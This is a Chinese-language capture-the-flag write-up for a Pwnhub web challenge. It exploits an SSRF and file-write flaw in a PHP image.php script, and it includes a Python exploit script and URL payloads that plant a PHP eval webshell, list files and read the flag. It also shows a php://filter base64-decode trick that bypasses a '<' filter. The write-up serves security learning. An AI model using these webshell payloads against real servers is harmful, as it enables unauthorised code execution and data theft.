Pwnhub-胖哈勃外传-第一集-Writeup
看源代码里面有这样的一个链接。
http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg
有点像第七届极客出的php is fun。
极客php is fun的源码:
if (isset($_GET) && !empty($_GET)) {
$url = $_GET['file'];
$path = "upload/" . $_GET['path'];
} else {
show_source(__FILE__);
exit();
}
if (strpos($path, '..') > -1) {
die('SYCwaf!');
}
if (strpos($url, 'http://127.0.0.1/') === 0) {
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
} else {
echo "Hello.Geeker";
}
但是此题image.php过滤了<
,这个就需要想办法怎么样去绕过了,另外生成的文件也会很快被删掉。
本题核心是:
file_put_contents($path, file_get_contents($url));
只能访问127.0.0.1的话,其实也可以利用本地的80的网页内容,只要有一句话的内容就好了,然后就可以写入到文件。
在这有一个网页内容的输入点:
http://54.223.231.220/?date/%3C?php%20eval($_GET[1]);?%3E/
所以可以把这个网页内容写入到一个php文件,即可以getshell
exp.py
import requests
u1 = "http://54.223.231.220/image.php?path=lemon.php&file=http%3A%2F%2F127.0.0.1%3A8888%2F%3Fdate%2F%3C%3Fphp%2520eval(%24_GET%5B1%5D)%3B%3F%3E%2F"
r = requests.get(u1)
u2 = "http://54.223.231.220/lemon.php?1=var_dump(glob('*'));"
r1 = requests.get(u2)
print r1.content
u2 = "http://54.223.231.220/lemon.php?1=echo%20file_get_contents('flag.php');"
r1 = requests.get(u2)
print r1.content
flag:
pwnhub{flag:kukukuxia今天胖哈勃跑偏了%&^%&^}
另外如果没有那个输入页面到话,其实image.php本身也是可以有输入点可控的。虽然过滤了<
echo "console.log($path update successed!)";
所以完全可以把这个页面的内容作为写入文件的内容,感觉会有点绕,而且要注意url编码问题。
http://54.223.231.220/image.php?file=http%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%26path%3D%3Fphp%2520eval(%24_POST%5B1%5D)%3B%3F%3E&path=1.php
现在内容可以写入一句话了,但是最大的问题就是<
不能出现。
在解决死亡exit、die的时候,会用上php协议的过滤器。在这也是可以用上的。
php://filter/write=convert.base64-decode=lemon.php
对写入的内容进行base64解码再写入文件。
http://54.223.231.220/image.php?file=http://127.0.0.1:8888/image.php&path=PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h
构造出利用:
http://54.223.231.220/image.php?file=http%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%26path%3DxxPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h&path=php://filter/write=convert.base64-decode/resource=2.php
其中要注意的是bae64解码的时候字符长度问题,以免解码导致一句话失效。
know it then do it